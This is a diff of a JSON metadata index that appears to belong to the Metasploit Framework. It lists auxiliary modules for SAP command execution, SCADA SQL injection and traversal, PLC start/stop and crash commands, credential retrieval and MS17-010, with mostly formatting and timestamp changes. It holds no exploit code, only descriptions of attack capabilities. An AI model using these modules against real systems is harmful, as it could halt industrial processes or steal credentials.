[ - - ] + "actions": [] }, "auxiliary_admin/registry_security_descriptor": { "name": "Windows Registry Security Descriptor Utility", "fullname": "auxiliary/admin/registry_security_descriptor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -9665,9 +9805,7 @@ "Christophe De La Fuente" ], "description": "Read or write a Windows registry security descriptor remotely.\n\n In READ mode, the `FILE` option can be set to specify where the\n security descriptor should be written to.\n\n The following format is used:\n ```\n key: \n security_info: \n sd: \n ```\n\n In WRITE mode, the `FILE` option can be used to specify the information\n needed to write the security descriptor to the remote registry. The file must\n follow the same format as described above.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -9691,9 +9829,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "config-changes" ] @@ -9716,9 +9852,7 @@ "auxiliary_admin/sap/cve_2020_6207_solman_rce": { "name": "SAP Solution Manager remote unauthorized OS commands execution", "fullname": "auxiliary/admin/sap/cve_2020_6207_solman_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-10-03", "type": "auxiliary", @@ -9768,9 +9902,7 @@ "config-changes", "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -9796,9 +9928,7 @@ "auxiliary_admin/sap/cve_2020_6287_ws_add_user": { "name": "SAP Unauthenticated WebService User Creation", "fullname": "auxiliary/admin/sap/cve_2020_6287_ws_add_user", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-07-14", "type": "auxiliary", @@ -9851,9 +9981,7 @@ "config-changes", "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -9871,9 +9999,7 @@ "auxiliary_admin/sap/sap_configservlet_exec_noauth": { "name": "SAP ConfigServlet OS Command Execution", "fullname": "auxiliary/admin/sap/sap_configservlet_exec_noauth", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-11-01", "type": "auxiliary", @@ -9881,7 +10007,7 @@ "Dmitry Chastuhin", "Andras Kabai" ], - "description": "This module allows execution of operating system commands through the SAP\n ConfigServlet without any authentication.", + "description": "This module allows execution of operating system commands through the SAP\n ConfigServlet without any authentication.", "references": [ "OSVDB-92704", "EDB-24963", @@ -9906,7 +10032,7 @@ "https" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb", "is_install_path": true, "ref_name": "admin/sap/sap_configservlet_exec_noauth", @@ -9914,19 +10040,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/sap/sap_igs_xmlchart_xxe": { "name": "SAP Internet Graphics Server (IGS) XMLCHART XXE", "fullname": "auxiliary/admin/sap/sap_igs_xmlchart_xxe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-03-14", "type": "auxiliary", @@ -9973,9 +10102,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -9993,9 +10120,7 @@ "auxiliary_admin/sap/sap_mgmt_con_osexec": { "name": "SAP Management Console OSExecute", "fullname": "auxiliary/admin/sap/sap_mgmt_con_osexec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -10026,7 +10151,7 @@ "https" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb", "is_install_path": true, "ref_name": "admin/sap/sap_mgmt_con_osexec", @@ -10034,19 +10159,22 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/advantech_webaccess_dbvisitor_sqli": { "name": "Advantech WebAccess DBVisitor.dll ChartThemeConfig SQL Injection", "fullname": "auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-04-08", "type": "auxiliary", @@ -10054,7 +10182,7 @@ "rgod ", "juan vazquez " ], - "description": "This module exploits a SQL injection vulnerability found in Advantech WebAccess 7.1. The\n vulnerability exists in the DBVisitor.dll component, and can be abused through malicious\n requests to the ChartThemeConfig web service. This module can be used to extract the site\n and project usernames and hashes.", + "description": "This module exploits a SQL injection vulnerability found in Advantech WebAccess 7.1. The\n vulnerability exists in the DBVisitor.dll component, and can be abused through malicious\n requests to the ChartThemeConfig web service. This module can be used to extract the site\n and project usernames and hashes.", "references": [ "CVE-2014-0763", "ZDI-14-077", @@ -10081,7 +10209,7 @@ "https" ], "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-05-26 20:49:19 +0000", "path": "/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb", "is_install_path": true, "ref_name": "admin/scada/advantech_webaccess_dbvisitor_sqli", @@ -10089,19 +10217,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/ge_proficy_substitute_traversal": { "name": "GE Proficy Cimplicity WebView substitute.bcl Directory Traversal", "fullname": "auxiliary/admin/scada/ge_proficy_substitute_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-22", "type": "auxiliary", @@ -10109,7 +10240,7 @@ "Unknown", "juan vazquez " ], - "description": "This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the\n gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM\n privileges. This module has been tested successfully on GE Proficy Cimplicity 7.5.", + "description": "This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the\n gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM\n privileges. This module has been tested successfully on GE Proficy Cimplicity 7.5.", "references": [ "CVE-2013-0653", "OSVDB-89490", @@ -10119,14 +10250,10 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-26 20:49:19 +0000", "path": "/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb", "is_install_path": true, "ref_name": "admin/scada/ge_proficy_substitute_traversal", @@ -10134,19 +10261,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/modicon_command": { "name": "Schneider Modicon Remote START/STOP Command", "fullname": "auxiliary/admin/scada/modicon_command", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-04-05", "type": "auxiliary", @@ -10154,21 +10284,17 @@ "K. Reid Wightman ", "todb " ], - "description": "The Schneider Modicon with Unity series of PLCs use Modbus function\n code 90 (0x5a) to perform administrative commands without authentication.\n This module allows a remote user to change the state of the PLC between\n STOP and RUN, allowing an attacker to end process control by the PLC.\n\n This module is based on the original 'modiconstop.rb' Basecamp module from\n DigitalBond.", + "description": "The Schneider Modicon with Unity series of PLCs use Modbus function\n code 90 (0x5a) to perform administrative commands without authentication.\n This module allows a remote user to change the state of the PLC between\n STOP and RUN, allowing an attacker to end process control by the PLC.\n\n This module is based on the original 'modiconstop.rb' Basecamp module from\n DigitalBond.", "references": [ "URL-http://www.digitalbond.com/tools/basecamp/metasploit-modules/" ], "platform": "", "arch": "", "rport": 502, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-26 20:49:19 +0000", "path": "/modules/auxiliary/admin/scada/modicon_command.rb", "is_install_path": true, "ref_name": "admin/scada/modicon_command", @@ -10176,19 +10302,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/modicon_password_recovery": { "name": "Schneider Modicon Quantum Password Recovery", "fullname": "auxiliary/admin/scada/modicon_password_recovery", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-01-19", "type": "auxiliary", @@ -10196,7 +10325,7 @@ "K. Reid Wightman ", "todb " ], - "description": "The Schneider Modicon Quantum series of Ethernet cards store usernames and\n passwords for the system in files that may be retrieved via backdoor access.\n\n This module is based on the original 'modiconpass.rb' Basecamp module from\n DigitalBond.", + "description": "The Schneider Modicon Quantum series of Ethernet cards store usernames and\n passwords for the system in files that may be retrieved via backdoor access.\n\n This module is based on the original 'modiconpass.rb' Basecamp module from\n DigitalBond.", "references": [ "URL-http://www.digitalbond.com/tools/basecamp/metasploit-modules/" ], @@ -10211,7 +10340,7 @@ "ftp" ], "targets": null, - "mod_time": "2023-12-16 23:40:30 +0000", + "mod_time": "2025-05-26 20:49:19 +0000", "path": "/modules/auxiliary/admin/scada/modicon_password_recovery.rb", "is_install_path": true, "ref_name": "admin/scada/modicon_password_recovery", @@ -10219,19 +10348,22 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/modicon_stux_transfer": { "name": "Schneider Modicon Ladder Logic Upload/Download", "fullname": "auxiliary/admin/scada/modicon_stux_transfer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-04-05", "type": "auxiliary", @@ -10239,21 +10371,17 @@ "K. Reid Wightman ", "todb " ], - "description": "The Schneider Modicon with Unity series of PLCs use Modbus function\n code 90 (0x5a) to send and receive ladder logic. The protocol is\n unauthenticated, and allows a rogue host to retrieve the existing\n logic and to upload new logic.\n\n Two modes are supported: \"SEND\" and \"RECV,\" which behave as one might\n expect -- use 'set mode ACTIONAME' to use either mode of operation.\n\n In either mode, FILENAME must be set to a valid path to an existing\n file (for SENDing) or a new file (for RECVing), and the directory must\n already exist. The default, 'modicon_ladder.apx' is a blank\n ladder logic file which can be used for testing.\n\n This module is based on the original 'modiconstux.rb' Basecamp module from\n DigitalBond.", + "description": "The Schneider Modicon with Unity series of PLCs use Modbus function\n code 90 (0x5a) to send and receive ladder logic. The protocol is\n unauthenticated, and allows a rogue host to retrieve the existing\n logic and to upload new logic.\n\n Two modes are supported: \"SEND\" and \"RECV,\" which behave as one might\n expect -- use 'set mode ACTIONAME' to use either mode of operation.\n\n In either mode, FILENAME must be set to a valid path to an existing\n file (for SENDing) or a new file (for RECVing), and the directory must\n already exist. The default, 'modicon_ladder.apx' is a blank\n ladder logic file which can be used for testing.\n\n This module is based on the original 'modiconstux.rb' Basecamp module from\n DigitalBond.", "references": [ "URL-http://www.digitalbond.com/tools/basecamp/metasploit-modules/" ], "platform": "", "arch": "", "rport": 502, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-03-10 18:03:35 +0000", + "mod_time": "2025-05-26 20:49:19 +0000", "path": "/modules/auxiliary/admin/scada/modicon_stux_transfer.rb", "is_install_path": true, "ref_name": "admin/scada/modicon_stux_transfer", @@ -10261,19 +10389,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/moxa_credentials_recovery": { "name": "Moxa Device Credential Retrieval", "fullname": "auxiliary/admin/scada/moxa_credentials_recovery", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-07-28", "type": "auxiliary", @@ -10281,7 +10412,7 @@ "Patrick DeSantis ", "K. Reid Wightman " ], - "description": "The Moxa protocol listens on 4800/UDP and will respond to broadcast\n or direct traffic. The service is known to be used on Moxa devices\n in the NPort, OnCell, and MGate product lines. Many devices with\n firmware versions older than 2017 or late 2016 allow admin credentials\n and SNMP read and read/write community strings to be retrieved without\n authentication.\n\n This module is the work of Patrick DeSantis of Cisco Talos and K. Reid\n Wightman.\n\n Tested on: Moxa NPort 6250 firmware v1.13, MGate MB3170 firmware 2.5,\n and NPort 5110 firmware 2.6.", + "description": "The Moxa protocol listens on 4800/UDP and will respond to broadcast\n or direct traffic. The service is known to be used on Moxa devices\n in the NPort, OnCell, and MGate product lines. Many devices with\n firmware versions older than 2017 or late 2016 allow admin credentials\n and SNMP read and read/write community strings to be retrieved without\n authentication.\n\n This module is the work of Patrick DeSantis of Cisco Talos and K. Reid\n Wightman.\n\n Tested on: Moxa NPort 6250 firmware v1.13, MGate MB3170 firmware 2.5,\n and NPort 5110 firmware 2.6.", "references": [ "CVE-2016-9361", "BID-85965", @@ -10292,14 +10423,10 @@ "platform": "", "arch": "", "rport": 4800, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-26 20:49:19 +0000", "path": "/modules/auxiliary/admin/scada/moxa_credentials_recovery.rb", "is_install_path": true, "ref_name": "admin/scada/moxa_credentials_recovery", @@ -10307,19 +10434,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/multi_cip_command": { "name": "Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands", "fullname": "auxiliary/admin/scada/multi_cip_command", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-01-19", "type": "auxiliary", @@ -10328,21 +10458,17 @@ "K. Reid Wightman ", "todb " ], - "description": "The EtherNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which\n implements the protocol. This module implements the CPU STOP command, as well as\n the ability to crash the Ethernet card in an affected device.\n\n This module is based on the original 'ethernetip-multi.rb' Basecamp module\n from DigitalBond.", + "description": "The EtherNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which\n implements the protocol. This module implements the CPU STOP command, as well as\n the ability to crash the Ethernet card in an affected device.\n\n This module is based on the original 'ethernetip-multi.rb' Basecamp module\n from DigitalBond.", "references": [ "URL-http://www.digitalbond.com/tools/basecamp/metasploit-modules/" ], "platform": "", "arch": "", "rport": 44818, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-26 20:49:19 +0000", "path": "/modules/auxiliary/admin/scada/multi_cip_command.rb", "is_install_path": true, "ref_name": "admin/scada/multi_cip_command", @@ -10350,19 +10476,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/mypro_mgr_creds": { "name": "mySCADA myPRO Manager Credential Harvester (CVE-2025-24865 and CVE-2025-22896)", "fullname": "auxiliary/admin/scada/mypro_mgr_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2025-02-13", "type": "auxiliary", @@ -10394,7 +10523,7 @@ "https" ], "targets": null, - "mod_time": "2025-02-20 15:40:05 +0000", + "mod_time": "2025-06-23 19:38:36 +0000", "path": "/modules/auxiliary/admin/scada/mypro_mgr_creds.rb", "is_install_path": true, "ref_name": "admin/scada/mypro_mgr_creds", @@ -10414,37 +10543,29 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/pcom_command": { "name": "Unitronics PCOM remote START/STOP/RESET command", "fullname": "auxiliary/admin/scada/pcom_command", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "Luis Rosa " ], - "description": "Unitronics Vision PLCs allow remote administrative functions to control\n the PLC using authenticated PCOM commands.\n\n This module supports START, STOP and RESET operations.", + "description": "Unitronics Vision PLCs allow remote administrative functions to control\n the PLC using authenticated PCOM commands.\n\n This module supports START, STOP and RESET operations.", "references": [ "URL-https://unitronicsplc.com/Download/SoftwareUtilities/Unitronics%20PCOM%20Protocol.pdf" ], "platform": "", "arch": "", "rport": 20256, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2021-01-29 16:19:13 +0000", + "mod_time": "2025-05-26 20:49:19 +0000", "path": "/modules/auxiliary/admin/scada/pcom_command.rb", "is_install_path": true, "ref_name": "admin/scada/pcom_command", @@ -10452,26 +10573,29 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-restarts" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/phoenix_command": { "name": "PhoenixContact PLC Remote START/STOP Command", "fullname": "auxiliary/admin/scada/phoenix_command", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-05-20", "type": "auxiliary", "author": [ "Tijl Deneut " ], - "description": "PhoenixContact Programmable Logic Controllers are built upon a variant of\n ProConOS. Communicating using a proprietary protocol over ports TCP/1962\n and TCP/41100 or TCP/20547.\n It allows a remote user to read out the PLC Type, Firmware and\n Build number on port TCP/1962.\n And also to read out the CPU State (Running or Stopped) AND start\n or stop the CPU on port TCP/41100 (confirmed ILC 15x and 17x series)\n or on port TCP/20547 (confirmed ILC 39x series)", + "description": "PhoenixContact Programmable Logic Controllers are built upon a variant of\n ProConOS. Communicating using a proprietary protocol over ports TCP/1962\n and TCP/41100 or TCP/20547.\n It allows a remote user to read out the PLC Type, Firmware and\n Build number on port TCP/1962.\n And also to read out the CPU State (Running or Stopped) AND start\n or stop the CPU on port TCP/41100 (confirmed ILC 15x and 17x series)\n or on port TCP/20547 (confirmed ILC 39x series)", "references": [ "URL-https://github.com/tijldeneut/ICSSecurityScripts", "CVE-2014-9195" @@ -10479,14 +10603,10 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-26 20:49:19 +0000", "path": "/modules/auxiliary/admin/scada/phoenix_command.rb", "is_install_path": true, "ref_name": "admin/scada/phoenix_command", @@ -10494,26 +10614,29 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-os-down" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/scada/yokogawa_bkbcopyd_client": { "name": "Yokogawa BKBCopyD.exe Client", "fullname": "auxiliary/admin/scada/yokogawa_bkbcopyd_client", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-08-09", "type": "auxiliary", "author": [ "Unknown" ], - "description": "This module allows an unauthenticated user to interact with the Yokogawa\n CENTUM CS3000 BKBCopyD.exe service through the PMODE, RETR and STOR\n operations.", + "description": "This module allows an unauthenticated user to interact with the Yokogawa\n CENTUM CS3000 BKBCopyD.exe service through the PMODE, RETR and STOR\n operations.", "references": [ "CVE-2014-5208", "URL-https://www.rapid7.com/blog/post/2014/08/09/r7-2014-10-disclosure-yokogawa-centum-cs3000-bkbcopydexe-file-system-access" @@ -10521,14 +10644,10 @@ "platform": "", "arch": "", "rport": 20111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-03-10 10:28:25 +0000", + "mod_time": "2025-05-26 20:49:19 +0000", "path": "/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb", "is_install_path": true, "ref_name": "admin/scada/yokogawa_bkbcopyd_client", @@ -10536,6 +10655,13 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -10554,19 +10680,75 @@ } ] }, + "auxiliary_admin/sccm/get_naa_credentials": { + "name": "Get NAA Credentials", + "fullname": "auxiliary/admin/sccm/get_naa_credentials", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "xpn", + "skelsec", + "smashery" + ], + "description": "This module attempts to retrieve the Network Access Account(s), if configured, from the SCCM server.\n This requires a computer account, which can be added using the samr_account module.", + "references": [ + "URL-https://blog.xpnsec.com/unobfuscating-network-access-accounts/", + "URL-https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-2/cred-2_description.md", + "URL-https://github.com/Mayyhem/SharpSCCM", + "URL-https://github.com/garrettfoster13/sccmhunter" + ], + "platform": "", + "arch": "", + "rport": 389, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2025-05-05 11:16:35 +0000", + "path": "/modules/auxiliary/admin/sccm/get_naa_credentials.rb", + "is_install_path": true, + "ref_name": "admin/sccm/get_naa_credentials", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] + }, + "session_types": [ + "ldap" + ], + "needs_cleanup": false, + "actions": [] + }, "auxiliary_admin/serverprotect/file": { "name": "TrendMicro ServerProtect File Access", "fullname": "auxiliary/admin/serverprotect/file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "toto" ], - "description": "This modules exploits a remote file access flaw in the ServerProtect Windows\n Server RPC service. Please see the action list (or the help output) for more\n information.", + "description": "This modules exploits a remote file access flaw in the ServerProtect Windows\n Server RPC service. Please see the action list (or the help output) for more\n information.", "references": [ "CVE-2007-6507", "OSVDB-44318", @@ -10575,14 +10757,10 @@ "platform": "", "arch": "", "rport": 5168, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-05-12 22:15:21 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/serverprotect/file.rb", "is_install_path": true, "ref_name": "admin/serverprotect/file", @@ -10590,6 +10768,13 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -10615,9 +10800,7 @@ "auxiliary_admin/smb/change_password": { "name": "SMB Password Change", "fullname": "auxiliary/admin/smb/change_password", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -10640,7 +10823,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2024-12-16 14:55:10 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/smb/change_password.rb", "is_install_path": true, "ref_name": "admin/smb/change_password", @@ -10648,15 +10831,14 @@ "post_auth": false, "default_credential": false, "notes": { - "Reliability": [ - - ], "Stability": [ - + "crash-safe" ], "SideEffects": [ - "ioc-in-logs" - ] + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": [ "smb" @@ -10684,9 +10866,7 @@ "auxiliary_admin/smb/check_dir_file": { "name": "SMB Scanner Check File/Directory Utility", "fullname": "auxiliary/admin/smb/check_dir_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -10695,9 +10875,7 @@ "j0hn__f" ], "description": "This module is useful when checking an entire network\n of SMB hosts for the presence of a known file or directory.\n An example would be to scan all systems for the presence of\n antivirus or known malware outbreak. Typically you must set\n RPATH, SMBUser, SMBDomain and SMBPass to operate correctly.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -10710,7 +10888,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2020-05-13 16:34:47 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/smb/check_dir_file.rb", "is_install_path": true, "ref_name": "admin/smb/check_dir_file", @@ -10718,19 +10896,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/smb/delete_file": { "name": "SMB File Delete Utility", "fullname": "auxiliary/admin/smb/delete_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -10738,9 +10919,7 @@ "mubix " ], "description": "This module deletes a file from a target share and path. The usual reason\n to use this module is to work around limitations in an existing SMB client that may not\n be able to take advantage of pass-the-hash style authentication.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -10753,7 +10932,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2024-12-16 14:55:10 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/smb/delete_file.rb", "is_install_path": true, "ref_name": "admin/smb/delete_file", @@ -10761,21 +10940,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "os-resource-loss" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "smb" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/smb/download_file": { "name": "SMB File Download Utility", "fullname": "auxiliary/admin/smb/download_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -10783,9 +10963,7 @@ "mubix " ], "description": "This module downloads a file from a target share and path. The usual reason\n to use this module is to work around limitations in an existing SMB client that may not\n be able to take advantage of pass-the-hash style authentication.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -10798,7 +10976,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2024-12-16 14:55:10 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/smb/download_file.rb", "is_install_path": true, "ref_name": "admin/smb/download_file", @@ -10806,21 +10984,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "smb" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/smb/list_directory": { "name": "SMB Directory Listing Utility", "fullname": "auxiliary/admin/smb/list_directory", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -10829,9 +11008,7 @@ "hdm " ], "description": "This module lists the directory of a target share and path. The only reason\n to use this module is if your existing SMB client is not able to support the features\n of the Metasploit Framework that you need, like pass-the-hash authentication.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -10844,7 +11021,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2020-05-13 16:34:47 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/smb/list_directory.rb", "is_install_path": true, "ref_name": "admin/smb/list_directory", @@ -10852,19 +11029,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/smb/ms17_010_command": { "name": "MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution", "fullname": "auxiliary/admin/smb/ms17_010_command", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-03-14", "type": "auxiliary", @@ -10874,7 +11052,7 @@ "Shadow Brokers", "Equation Group" ], - "description": "This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where\n primitive. This will then be used to overwrite the connection session information with as an\n Administrator session. From there, the normal psexec command execution is done.\n\n Exploits a type confusion between Transaction and WriteAndX requests and a race condition in\n Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy\n exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a\n named pipe.", + "description": "This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where\n primitive. This will then be used to overwrite the connection session information with as an\n Administrator session. From there, the normal psexec command execution is done.\n\n Exploits a type confusion between Transaction and WriteAndX requests and a race condition in\n Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy\n exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a\n named pipe.", "references": [ "MSB-MS17-010", 